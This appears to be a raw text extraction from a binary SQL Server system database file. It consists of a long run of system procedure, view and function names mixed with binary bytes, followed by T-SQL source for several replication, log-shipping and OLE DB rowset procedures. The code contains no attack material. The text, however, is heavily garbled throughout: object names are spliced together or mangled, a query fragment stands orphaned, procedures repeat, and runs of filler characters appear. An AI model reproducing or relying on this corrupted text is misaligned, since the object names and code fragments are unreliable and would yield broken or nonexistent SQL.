@`	0N:"2s00P }}jsp_MSscript_procbodystart00M P TTnsp_table_statistics2_rowset00ɫV 	dm_pdw_nodes_exec_background_job_queue00P PPpsp_table_constraints_rowset200%U DD~_pdw_column_distribution_properties00P .2Zsp_db_ebcdic277_200nP 1Xsp_user_counter900P ٴQTsp_helpsrvrole00P 1\O]Rsp_helpserver00V tdm_tran_top_version_generators00uvTFr!rXfn_trace_getinfo00p"P _YbNsp_helptext00lOP zsp_MSremovedbreplication_internal00WV Tdm_fts_fdhosts00/nTF1Zfn_RowDumpCracker00EP |tsp_helpsubscription_properties00`nV vTdm_xe_sessions00eTF\generate_index_ddl00IFqqXfn_remote_tables00a6V 66^trigger_event_types00P zbsp_MSmergesubscribedb00P _YbPsp_helpstats00P D{hsp_MSreplcheck_subscribe00tX [vI{Psp_repltrans00P (sp_MSgetisvalidwindowsloginfromdistributor00wP ɉɉvsp_MSrepl_drop_all_role_members00jP آtsp_MSrepl_DistributorPALAccess00P ::^sp_IHisallreplcolpk00g P ^sp_MStran_alterview00P ^Dpsp_MSscript_insert_statement00pP JJvsp_MSscriptupdateconflictfinder00@P bXsp_scriptdelproc00+P lsp_MSpeerapplytopologyinfo00v|P nsp_deletepeerrequesthistory00eP vsp_MSrepl_changelogreader_agent00P }zsp_peerconflictdetection_tableaug00\P Azsp_MScleanupdynamicsnapshotfolder00Fm8P Ydsp_MSenum_logreader_sd00TFp-p-rfn_activedistributionagentids00P 6sp_MSchange_distribution_agent_properties00P 9aGy~sp_processlogshippingmonitorprimary00_FN`fn_cdc_is_db_enabled00DGP ŕŕfsp_cdc_verify_role_name00XP rsp_changetracking_remove_tran009fP Xsp_MSdrop_rlcore00FN99pfn_MSmerge_get_syncview_name00-+BP Ybsp_MSdropmergepalrole00W%P (
-fsp_addmergesubscription00̲P -.lsp_helpdynamicsnapshot_job00P A5U5tsp_MSget_partitionid_eval_proc00jP <<vsp_MSset_dynamic_filter_options00P TTfsp_MScheckidentityrange00\P kxxjsp_MSadd_mergereplcommand00UP hsp_MSmakebatchinsertproc00P ójsp_MSvalidate_dest_recgen00WP .7nsp_MSenumchangeslightweight00cЯP rNsp_MSkilldb006P ^`sp_MSSharedFixedDiskvsp_MSscriptupdateconflictfinder00܍VP QQtsp_MSscript_ExecutionMode_stmt00Ӫ2P aotsp_unregister_custom_scripting00@P bXsp_scriptdelproc00RP t bsp_MSgetpeerwinnerrow00P ]dsp_IHValidateRowFilter008GP @@lsp_MSdropmqforsubscription00+P lsp_MSpeerapplytopologyinfo00
zP ^sp_helppeerrequests00v|P nsp_deletepeerrequesthistory00eP vsp_MSrepl_changelogreader_agent00thP Xsp_MSrepl_setNFR00P }zsp_peerconflictdetection_tableaug005P sp_MSpeerconflictdetection_statuscollection_applyresponse00jP \sp_MScheckprocexec00\P zsp_MScleanupdynamicsnapshotfolder00wfP bsp_MSreplremoveuncdir00Fm8P dsp_MSenum_logreader_sdLZX


8*\zhR|Dd
<	v8	
\p,
H8HN
`0	6"4	`a/p00XIFbfn_fulltext_compindex00VV Zdm_clr_properties007P ǸuNsp_helprole00P [[Zsp_MSmarkreplinfo00ʷV ɹtdm_pdw_nodes_os_memory_brokers00v%V ^^`numbered_procedures$00xQV Xdm_os_sublatches00</V FUbdm_pdw_query_stats_xe00h$P nsp_MSacquireHeadofQueueLock00,+P Vsp_unsetapprole003V tdm_pdw_nodes_exec_cached_plans00QV 9Xrdm_pdw_nodes_os_memory_clerks008!qP  62`sp_dbmmonitorresults00xV ndm_exec_query_memory_grants00IFkbdm_fts_index_keywords00느P ubsp_MSget_col_position00єV **dm_hadr_internal_ag_listener_addresses00P AApsp_check_constraints_rowset200#P ,Msp_vupgrade_heterogeneous_publishers00rFN1^fn_PhysLocFormatter00!9P sGE{dsp_disableagentoffload00AwP Idsp_MSrestore_sub_merge00x)P WZWZrsp_MSreleaseFixPALRoleAppLock00EKfP ejsp_MSfixup_single_artddls00t6	P bibizsp_MSchangerepllinkedsrvrpassword000P ehsp_MSIfExistsRemoteLogin00P sp_MSrepl_set_oracle_provider_inproc_on64bit00FNdfn_replcheckquotedname00usP #bsp_adddatatypemapping00NP psp_setdefaultdatatypemapping00ۿP ~#`sp_IHhelppublication00L|P K&K&fsp_MSrepl_articlefilter00EP [Xsp_scriptinsproc00P :~PXsp_getqueuedrows002P ^sp_ORAgetcolumndata00;P Vsp_MSpeerdbinfo00P VY`sp_MSenum_qreader_sd00 2P ssp_MSproxylogshippingretentioncleanup00UP psp_cdc_enable_table_internal00P jsp_cdc_vupgrade_databases00q[FN00tfn_cdc_all_changes_range_error00%P @@bsp_MSgentablenickname00\P Zsp_MSdrop_rladmin00#P sp_get_mergepublishedarticleproperties00 6P ?dsp_enumcustomresolvers002oP uHH|sp_MSreleasedynamicsnapshotapplock00jP RRZsp_MSdrop_rlrecon00P ``jsp_MSrequestreenumeration00P (^sp_MSmakedeleteproc00?P jsp_MSgetbeforetableinsert006֜P psp_MSget_identity_range_info00ytP 33xsp_MSdroplightweightarticleprocs00vFNDtfn_MSuselightweightreplication00ndX yWRxp_getnetnametions00usP #bsp_adddatatypemapping00NP psp_setdefaultdatatypemapping00ۿP ~#~#`sp_IHhelppublication00L|P K&K&fsp_MSrepl_articlefilter008P ''bsp_MSrepl_articleview00 /P MHMHlsp_MSscript_insert_pubwins00EP [Xsp_scriptinsproc00W8P ebZsp_scriptvdelproc00P :~!Xsp_getqueuedrows002P ^sp_ORAgetcolumndata00'P WWXsp_ORAaddarticle00;P Vsp_MSpeerdbinfo00/P ӷbsp_MSpeersendresponse00y-P 66sp_MSrepl_getsubscription_status_hsnapshot00X //^xp_readpkfromvarbin00:P %Ybsp_MSenum_logreader_s00P VY`sp_MSenum_qreader_sd00P A+Zjsp_MSdeletefoldercontents00`HWP ,Zlsp_MSrepl_init_backup_lsns00/P 6SZ`sp_MShelp_repl_agent00EP lOZ~sp_removedistpublisherdbreplication00{P TTsp_hadr_verify_publisher_at_distributor00 2P sssp_MSproxylogshippingr
,\"&	r
H`F6~
Rv<
(h8"(	j

`	01"TJ K00U 

p_pdw_health_component_groups00t;V tspt_column_privileges_set_view00}X ABITsp_cursorfetch003\V dm_filestream_non_transacted_handles00]FN!!nfn_MSmerge_getartprocsuffix00FNhfn_replgetbinary8lodword00P HVsp_altermessage00zX Њpsp_migrate_user_to_contained00kXP H0H0tsp_SetSDSPublicInterfaceObject00.P 7^sp_MSunmarkifneeded00&P z`sp_MSchange_priority00{
,P "$}2dsp_clean_db_free_space00C=P ,Ojsp_vupgrade_syscol_status00"AP ^sp_link_publication00IP ,(=(xsp_table_type_columns_100_rowset00;dV ^dm_pdw_sql_requests00nFNxfn_replaceinvalidfilenamesymbols00=rAFfGeographyUnionAggregate00V {{HROUTINES00X ^wI{Nsp_replcmds00VGFN,~,~Tfn_IHview_name00 PTF\fn_helpdatatypemap003lP Opsp_revoke_publication_access00YFP sp_MSrepl_MSSQL_ORA_datatypemappings00P Nrsp_stoppushsubscription_agent00tP (,Rsp_addarticle008FNgXfn_MStran_unique00ݢP |!bsp_MSreplupdateschema00>'P 6zsp_MSdodatabasesnapshotinitiation00*P rrbsp_IHVerifyConstraint00vP vsp_MScheckgenerate_originatorid00~P JJjsp_MSmergeagentjobcontrol00P bsp_MScdc_db_ddl_event00FNRRNfn_cdc_jobs00vWP rsp_cdc_parse_update_flag_list00n=P psp_cdc_cleanup_change_tables00P **\sp_cdc_ddl_history00 P dsp_MSmerge_getgencount00kРP \sp_dropmergefilter00P %%^sp_mergedummyupdate00>P '	(tsp_dropmergealternatepublisher00hP 99sp_MSget_current_subscriber_partition_id00miP ;;vsp_MSsetup_use_partition_groups00/P *f_Zsp_MSenumreplicas001P 1iMi|sp_MSenumchanges_belongtopartition00ZiSP tsp_MSdelrowsbatch_downloadonly00P 7Hsp_MSgetmetadata_changedlogicalrecordmembers00PP ~hsp_MSfillup_deleted_cols00D2FN"Tfn_MSorbitmapsNggXfn_MStran_unique008ZP u lsp_MSdeletepeerconflictrow00ݢP |!bsp_MSreplupdateschema00>'P 6zsp_MSdodatabasesnapshotinitiation00dP ɂm^sp_helptracertokens00*P rrbsp_IHVerifyConstraint00'P rsp_CheckOracleAdminPrivileges00vP vsp_MScheckgenerate_originatorid00P 1sp_MSpeerconflictdetection_statuscollection_sendresponse00P JXdsp_MSget_repl_commands00P Ytsp_MSadd_merge_anonymous_agent00P  YVsp_MSmarkreinit00P %Yhsp_MSadjust_pub_identity00~P JJjsp_MSmergeagentjobcontrol00EZP SSsp_hadr_verify_replication_publisher00P hbsp_MScdc_db_ddl_event00FNZfn_cdc_get_source00FNRRNfn_cdc_jobs00vWP rsp_cdc_parse_update_flag_list00n=P psp_cdc_cleanup_change_tables00P **\sp_cdc_ddl_history009WP hsp_MSconflicttableexists00P #xsp_mergemetadataretentioncleanup00 P dsp_MSmerge_getgencount00gFN-pfn_MSrepl_map_resolver_clsid00LP xsp_MScreate_logical_record_views00kРP \sp_dropmergefilter

Z.*0f
p
$V`	>
\|	XJ
(D
	6
n
BDz`	0("* '000+8V &}6}VROUTINE_COLUMNS0059V (=tdm_pdw_component_health_status00;P zsp_MSacquiresnapshotdeliverysessionlock00VeDX ջ`sp_SetOBDCertificate00NIF34dm_db_objects_disabled_on_compatibility_level_change00zcYP 8~`~sp_filestream_recalculate_container_size00iP e2nsp_dbmmonitordropmonitoring00U0P lsp_MSdropdisabledmltrigger00YP zXsp_MSenumcolumns00͘V pdm_pdw_diag_processing_stats00FIV yyxspt_column_privileges_owner_view00@	V >Xdm_exec_requests00xcP .\sp_catalogs_rowset00]FN#MVfn_isrolemember00V dm_pdw_nodes_tran_top_version_generators00sP Orsp_MSestimatesnapshotworkload007
P tsp_help_spatial_geometry_index00CP lsp_addpublication_snapshot00P ֒psp_MSrepl_helpsubscriberinfo008P ݣfsp_changedistributiondb00nhP 4Xsp_MShelp_distdb00P MMpsp_MSscriptdelconflictfinder00YP `nhsp_MSscriptcustomupdproc006P ~!^sp_MSprep_exclusive00lP \bsp_IHgetPublisherInfo00jqP Lhvsp_IHmarksubscriptionvalidation00i˼P i{Xsp_ORAXactSetJob00#hnP 3\sp_MSupdatepeerlsn00P rsp_help_peerconflictdetection00^EP e8e8zsp_replmonitorhelppublisherhelper006hP c<jsp_replmonitorrefreshdata00(nP tF9fsp_MShelpsnapshot_agent007P OZsp_MScleanup_subscription_distside_entry005P MhHysp_add_log_shipping_secondary_database00<P BBpsp_cdc_get_cleanup_retention00P  /~psp_changedynamicsnapshot_job00b}P EE|sp_MSget_dynamic_snapshot_location00~QP LrLrhsp_MSenumschemachange_7000uUP `sp_MSvalidatearticle00GuP tsp_MSgetdynsnapvalidationtokenP ֒֒psp_MSrepl_helpsubscriberinfo00p7P ``jsp_MSrepl_DistDBPALAccess008P ݣ.fsp_changedistributiondb00nhP Xsp_MShelp_distdb00^P zsp_MSrepl_mergeagentstatussummary00K$IP rrVsp_dropdatatype00SP sp_enable_heterogeneous_subscription00!P iTsp_helparticle00%P _tsp_changearticlecolumndatatype00P MMpsp_MSscriptdelconflictfinder00YP `nhsp_MSscriptcustomupdproc00{P bZsp_scriptxdelproc006P ~!^sp_MSprep_exclusive00lP bsp_IHgetPublisherInfo00jqP LLvsp_IHmarksubscriptionvalidation00i˼P iiXsp_ORAXactSetJob00#hnP 3\sp_MSupdatepeerlsn00~V Xdm_repl_tranhash00P rsp_help_peerconflictdetection00P X`sp_MSadd_publication00P {Ydsp_MShelp_subscription00P x Yjsp_MScheck_tran_retention00^EP e8e8zsp_replmonitorhelppublisherhelper006hP c<c<jsp_replmonitorrefreshdata00(nP tFZfsp_MShelpsnapshot_agent007P OZsp_MScleanup_subscription_distside_entry005P MhHysp_add_log_shipping_secondary_database00<P BBpsp_cdc_get_cleanup_retention00P __bsp_MSset_timestamp_bm00P <bhsp_MSFixSubColumnBitmaps00>P lsp_reinitmergesubscription00DP `sp_MSindexcolfrombin00P ))lsp_MSCheckmergereplication00P  /4/psp_changedynamicsnapshot_jobFx$p
@
fx<


	V	V&j
^\
Jr
d	<
6Rj|
8	
	*`0	,"?/r00pV eepsql_expression_dependencies$00-V BaTdm_os_sys_info00V`1V Rdm_tran_locks007V Nmdm_pdw_nodes_os_performance_counters00NNV fdm_exec_procedure_stats00RX ^sp_fulltext_getdata00bP QQsp_MSrestoresavedforeignkeyextendedproperties00!nP s^sp_table_type_pkeys00jV s%%dm_hadr_database_replica_cluster_states00FNbfn_replbitstringtoint00ғP f<vsp_MSretrieve_publication_attributes00үP @+@tsp_table_privileges_rowset_rmt00jP z44hsp_indexes_90_rowset_rmt009nP @fsp_MSenum_replsqlqueues00FNΞΞhfn_escapecmdshellsymbols00P @psp_browsemergesnapshotfolder00P YYbsp_tablecollations_9000(fP VVsp_MScheckcontext_bypasswholeddleventbit00oi+P oojsp_MSreplopensymmetrickey00gN~P @}@}Zsp_MSdrop_replcom007rP Zsp_adddistributor009OP Y0bsp_replpostsyncstatus00]P A^bsp_MSarticlecolstatus00SP Exsp_script_insertforcftresolution004P Hpsp_MSscript_update_statement00xP Gm\sp_posttracertoken00fH@P  cfsp_IHarticle_validation00XP änhsp_MScleanup_agent_entry00בP sssp_MSscriptpeerconflictdetection_topology_sendresponse00oDP WZpsp_MSset_snapshot_xact_seqno00ޛP 
^sp_MSadd_repl_error00XP qXXsp_MSadd_article00P gsp_MSenum_merge_subscriptions_90_publication00<oFNRRrfn_replsubtractkomododuration00.OP E7hsp_MShelplogreader_agent00 P cScS|sp_hadr_verify_configured_for_repl00#P jsp_cdc_ddl_event_internal00\DP sp_cdc_generate_wrapper_function_internal00_2P fsp_dropmergelogsettings00@HP U@psp_MShelpmergeselectarticles00-P SbU\sp_MSsetlastrecgen00P ۼrsp_MSdrop_tempgenhistorytable001 X MIRxp_get_script00 X +Rxp_msx_enliststsyncstatus00ۥP Khsp_getagentparameterlist00"P rrbsp_MSenableautonosync00P dsp_MSdisableautonosync00]P AAbsp_MSarticlecolstatus00xOP 1%1%lsp_MSrepl_helpsubscription00IP <Tsp_unsubscribe00GP ?lsp_MSget_synctran_commands00SP EExsp_script_insertforcftresolution004P HHpsp_MSscript_update_statement00mzP x tsp_MSisnonpkukupdateinconflict00h޲P |!Xsp_MSdefer_check00xP Gm\sp_posttracertoken00fH@P   fsp_IHarticle_validation00XP änhsp_MScleanup_agent_entry00KSBFNbbfn_replgetWorstWarningDurationMergesubscriptionsOnPublication00\“P Zsp_MSgetdbversion00בP sssp_MSscriptpeerconflictdetection_topology_sendresponse00>pP XXhsp_MSsubscription_status00oDP WZpsp_MSset_snapshot_xact_seqno00ޛP 
Y^sp_MSadd_repl_error00XP qXXsp_MSadd_article00;sP {Xlsp_MSdrop_subscription_3rd00P giXsp_MSenum_merge_subscriptions_90_publication00<oFNRRrfn_replsubtractkomododuration00uP j$Yfsp_MScheck_pub_identity00.OP EZhsp_MShelplogreader_agent00 P cScS|sp_hadr_verify_configured_for_repl00gP -e-esp_MSproxylogshippingmonitorsecondary00#P jsp_cdc_ddl_event_internallL
xR
		,T0
>p


R|

dL	\4	$<v$`l<bIyĎ0ˮ 8create procedure sys.sp_refreshsqlmodule
    @name		nvarchar(776),
    @namespace  nvarchar(20) = N'OBJECT'
as
	declare @ret int
	exec @ret = sys.sp_refreshsqlmodule_internal @name, @namespace, 0 -- viewonly
	return @ret
0vq }8
create procedure sys.sp_views_rowset2
(
    @view_schema    sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(a_v.schema_id),
        TABLE_NAME      = a_v.name,
        VIEW_DEFINITION = convert(nvarchar(1),null),
        CHECK_OPTION    = convert(bit, NULL),
        IS_UPDATABLE    = convert(bit, NULL),
        DESCRIPTION     = convert(nvarchar(1),null),
        DATE_CREATED    = a_v.create_date,
        DATE_MODIFIED   = convert(datetime,null)
    from
        sys.all_views a_v
    where
        (@view_schema is null or schema_id(@view_schema) = a_v.schema_id) and
        has_perms_by_name(quotename(schema_name(a_v.schema_id)) + '.' + quotename(a_v.name),
                          'object',
                          'select') = 1
    order by 1, 2, 3
04
 D8{6h.0) q8-- This proc calls the distribution proc to change the dynamic snaphsot job
-- it should NOT be a public proc
create procedure sys.sp_MSchangemergedynamicsnapshotjob (
    @publication sysname,
    @dynamic_snapshot_jobname sysname = '%',
    @dynamic_snapshot_jobid uniqueidentifier,
    @frequency_type				 int,
    @frequency_interval			 int,
    @frequency_subday			 int,
    @frequency_subday_interval	 int,
    @frequency_relative_interval int, 
    @frequency_recurrence_factor int,
    @active_start_date			 int,
    @active_end_date			 int,
    @active_start_time_of_day	 int, 
    @active_end_time_of_day		 int,
    @job_login                               nvarchar(257),
    @job_password                        sysname    
)
as
begin
    set nocount on

    -- This should not be a public proc
    declare @retcode int
    declare @pubid uniqueidentifier

    declare @distributor sysname
    declare @distribdb sysname
    declare @rpcsrvname sysname
    declare @distproc nvarchar(4000)
    declare @publisher sysname
    declare @publisher_db sysname
    declare @agent_id int
    declare @suser_sname sysname
    declare @host_name sysname

    select @retcode = 0
    select @pubid = null
    select @publisher = upper(publishingservername())
    select @publisher_db = db_name()


    if object_id('sysmergepublications') is NULL
    begin
        raiserror (20054, 16, -1)
        return (1)
    end

    -- Make sure that caller is a member of 'sysadmins' or 'db_owner'
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return (1)

    select @pubid = pubid 
      from dbo.sysmergepublications 
     where name = @publication
       and upper(publisher) = upper(publishingservername())
       and publisher_db = db_name()

    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication)
        return (1)
    end

    -- At most one of @dynamic_snapshot_jobid and @dynamic_snapshot_jobname
    -- can be specified with a non-default value
    if @dynamic_snapshot_jobid is not null and
       @dynamic_snapshot_jobname <> N'%'
    begin
        raiserror(21329, 16, -1)
        return (1)
    end

    if @dynamic_snapshot_jobid is null
    begin	
        select @dynamic_snapshot_jobid = job_id,
               @suser_sname = dynamic_filter_login,
               @host_name = dynamic_filter_hostname
          from dbo.MSdynamicsnapshotjobs
         where pubid = @pubid
           and name = @dynamic_snapshot_jobname 
    end
    else 
    begin
        select @suser_sname = dynamic_filter_login,
               @host_name = dynamic_filter_hostname
          from dbo.MSdynamicsnapshotjobs
         where pubid = @pubid
           and job_id = @dynamic_snapshot_jobid 
    end

    -- check if suser_sname and host_name are null
    if @suser_sname is NULL and @host_name is NULL
    begin
        raiserror(21720, 16, -1)
        return (1)        
    end

    if @job_login IS NOT NULL
    begin
        if sys.fn_replisvalidwindowsloginformat(@job_login) != 1
        begin
            -- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_changedynamicsnapshot_job'.
            raiserror(21797, 16, -1, '@job_login', 'sp_changedynamicsnapshot_job')
            return(1)
        end
    end        
		
    -- Get distributor information for RPC
    exec @retcode = sys.sp_MSrepl_getdistributorinfo @distributor = @distributor output,
                                           @distribdb = @distribdb output,
                                           @rpcsrvname = @rpcsrvname output
    if @@error <> 0 or @retcode <> 0
        return (1)

    select @distproc = quotename(rtrim(@rpcsrvname)) + N'.' + quotename(@distribdb) + N'.' + N'dbo.sp_MSchangedynamicsnapshotjobatdistributor'

    begin transaction 
    save transaction changemergedynamicsnapshotjob

    exec @retcode = @distproc 
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @dynamic_filter_login = @suser_sname,
        @dynamic_filter_hostname = @host_name,
        @frequency_type = @frequency_type,
        @frequency_interval = @frequency_interval,
        @frequency_subday = @frequency_subday,
        @frequency_subday_interval = @frequency_subday_interval,
        @frequency_relative_interval = @frequency_relative_interval,
        @frequency_recurrence_factor = @frequency_recurrence_factor,
        @active_start_date = @active_start_date,
        @active_end_date = @active_end_date,
        @active_start_time_of_day = @active_start_time_of_day,
        @active_end_time_of_day = @active_end_time_of_day,
        @job_login = @job_login,
        @job_password = @job_password
  
    if @retcode <> 0 or @@error <> 0
    begin
        raiserror(20701, 16, -1)
        goto Failure
    end

    commit transaction
    return 0

Failure:
    rollback transaction changemergedynamicsnapshotjob
    commit transaction
    return 1
end
* FROM OpenRowset(TABLE BUILTINPERMISSIONS, @level)
       )
0vq }8
create procedure sys.sp_views_rowset2
(
    @view_schema    sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(a_v.schema_id),
        TABLE_NAME      = a_v.name,
        VIEW_DEFINITION = convert(nvarchar(1),null),
        CHECK_OPTION    = convert(bit, NULL),
        IS_UPDATABLE    = convert(bit, NULL),
        DESCRIPTION     = convert(nvarchar(1),null),
        DATE_CREATED    = a_v.create_date,
        DATE_MODIFIED   = convert(datetime,null)
    from
        sys.all_views a_v
    where
        (@view_schema is null or schema_id(@view_schema) = a_v.schema_id) and
        has_perms_by_name(quotename(schema_name(a_v.schema_id)) + '.' + quotename(a_v.name),
                          'object',
                          'select') = 1
    order by 1, 2, 3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!U	%d`<S`x0H. @8
create procedure sys.sp_procedures_rowset
(
    @procedure_name     sysname,
    @group_number       int = 1,
    @procedure_schema   sysname = null
)
as
    select
        PROCEDURE_CATALOG       = db_name(),
        PROCEDURE_SCHEMA        = schema_name(pro.schema_id),
        PROCEDURE_NAME          = convert(nvarchar(134),pro.name +';'+ ltrim(str(pro.procedure_number,5))),
        PROCEDURE_TYPE          = convert(smallint, 3), -- DB_PT_FUNCTION
        PROCEDURE_DEFINITION    = convert(nvarchar(1),null),
        DESCRIPTION             = convert(nvarchar(1),null),
        DATE_CREATED            = pro.create_date,
        DATE_MODIFIED           = convert(datetime,null)
    from
        sys.spt_all_procedures pro
    where
        (
            (@procedure_schema is null and pro.name = @procedure_name) or
            object_id(quotename(@procedure_schema) + '.' + quotename(@procedure_name)) = pro.object_id
        ) and
        (@group_number is null or pro.procedure_number = @group_number)
    order by 2, 3
0H. ~8

create procedure sys.sp_procedures_rowset;2
(
    @procedure_schema   sysname = null
)
as
---------------------------------------------------------
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
---------------------------------------------------------
-- copy & pasted from "2" version of the SProc!
---------------------------------------------------------
    select
        PROCEDURE_CATALOG       = db_name(),
        PROCEDURE_SCHEMA        = schema_name(pro.schema_id),
        PROCEDURE_NAME          = convert(nvarchar(134),pro.name +';'+ ltrim(str(pro.procedure_number,5))),
        PROCEDURE_TYPE          = convert(smallint, 3), -- DB_PT_FUNCTION
        PROCEDURE_DEFINITION    = convert(nvarchar(1),null),
        DESCRIPTION             = convert(nvarchar(1),null),
        DATE_CREATED            = pro.create_date,
        DATE_MODIFIED           = convert(datetime,null)
    from
        sys.spt_all_procedures pro
    where
        (@procedure_schema is null or schema_id(@procedure_schema) = pro.schema_id)
    order by 2, 3
0ܻ 78create procedure sys.sp_add_log_shipping_alert_job_internal 
(
    @alert_job_id uniqueidentifier = null output
)
as
begin
    set nocount on
    declare @retcode int
                ,@alert_name sysname
                ,@alert_job_name sysname
                ,@jobdescription nvarchar(512)
                ,@jobcommand nvarchar(3200)
    --
    -- register alerts if needed
    --
    if not exists (select * from msdb.dbo.sysalerts where message_id = 14420)
    begin
        select @alert_name = isnull(formatmessage(32026), N'Message 32026')
        exec msdb.dbo.sp_add_alert @enabled = 1, @name = @alert_name, @category_name = NULL, @message_id = 14420
    end
    if not exists (select * from msdb.dbo.sysalerts where message_id = 14421)
    begin
        select @alert_name = isnull(formatmessage(32027), N'Message 32027')
        exec msdb.dbo.sp_add_alert @enabled = 1, @name = @alert_name, @category_name = NULL, @message_id = 14421
    end
    --
    -- check if alert job exists
    --
    select @alert_job_id = alert_job_id 
    from msdb.dbo.log_shipping_monitor_alert
    if (@alert_job_id is not null)
    begin
        if not exists (select * from msdb.dbo.sysjobs where job_id = @alert_job_id)
        begin
            delete msdb.dbo.log_shipping_monitor_alert
            select @alert_job_id = NULL
        end
    end
    --
    -- create alert job if needed
    --
    if (@alert_job_id is null)
    begin
        select @alert_job_name = sys.fn_MSgetlogshippingjobname(@@servername, NULL, 3)
                ,@jobdescription = isnull(formatmessage(32019), N'Message 32019')
                ,@jobcommand = N'exec sys.sp_check_log_shipping_monitor_alert '
        --
        -- Create a alert job for the server 
        --
        exec @retcode = sys.sp_MSprocesslogshippingjob @type = 4
                                    ,@mode = 1 
                                    ,@jobid = @alert_job_id output
                                    ,@job_name = @alert_job_name
                                    ,@description = @jobdescription
                                    ,@command = @jobcommand
        if (@retcode != 0 or @@error != 0 or @alert_job_id is null)
            return 1
        --
        -- add metadata for alert job
        --
        insert into msdb.dbo.log_shipping_monitor_alert (alert_job_id)
        values(@alert_job_id)
        if (@@error != 0)
        begin
            --
            -- cleanup alert job if metadata could not be added
            --
            exec sys.sp_MSprocesslogshippingjob @type = 4
                                    ,@mode = 2 
                                    ,@jobid = @alert_job_id
            return 1
        end
    end
    --
    -- all done
    --
    return 0
end
0m| P84h>0P!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!U	`R	<B
]ś0=" =8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_statistics_rowset;2
(
    @table_schema   sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG = db_name(),
        TABLE_SCHEMA = schema_name(o.schema_id),
        TABLE_NAME = o.name,
        CARDINALITY =   convert (int,
                                (-- Multiple partitions could correspond to one index.
                                    select sum(rows) from sys.partitions s_p
                                    where x.object_id = s_p.object_id and x.index_id = s_p.index_id
                                )
                                )
    from
        sys.all_objects o,
        sys.indexes x
    where
        (@table_schema is null or schema_id(@table_schema) = o.schema_id) and
        o.type in ('U') and
        x.object_id = o.object_id and
        x.index_id in (0,1) -- If there are no indexes then table stats are in a row with indid =0
    order by 2, 3
0o+@ 8
/* Add the conflict script pointer to dbo.sysmergearticles - Used by snapshot */
create procedure sys.sp_MSsetconflictscript (
    @publication        sysname,
    @article            sysname,
    @conflict_script    nvarchar(255),
    @login              sysname =NULL,
    @password           nvarchar(524) =NULL
    ) AS

    declare @artid uniqueidentifier
    declare @pubid uniqueidentifier
    
    /*
    ** Check for publish permission.
    */
    declare @retcode int
    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    select @pubid = pubid from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid IS NULL
        BEGIN
            RAISERROR (20026, 16, -1, @publication)
            RETURN (1)
        END
    
    select @artid = artid FROM dbo.sysmergearticles WHERE name = @article   AND pubid = @pubid
    if @artid IS NULL
        BEGIN
            RAISERROR (20027, 16, -1, @article)
            RETURN (1)
        END

    update dbo.sysmergearticles set conflict_script = @conflict_script where artid = @artid and pubid=@pubid
    if @@ERROR <> 0
        return (1)
    return (0)
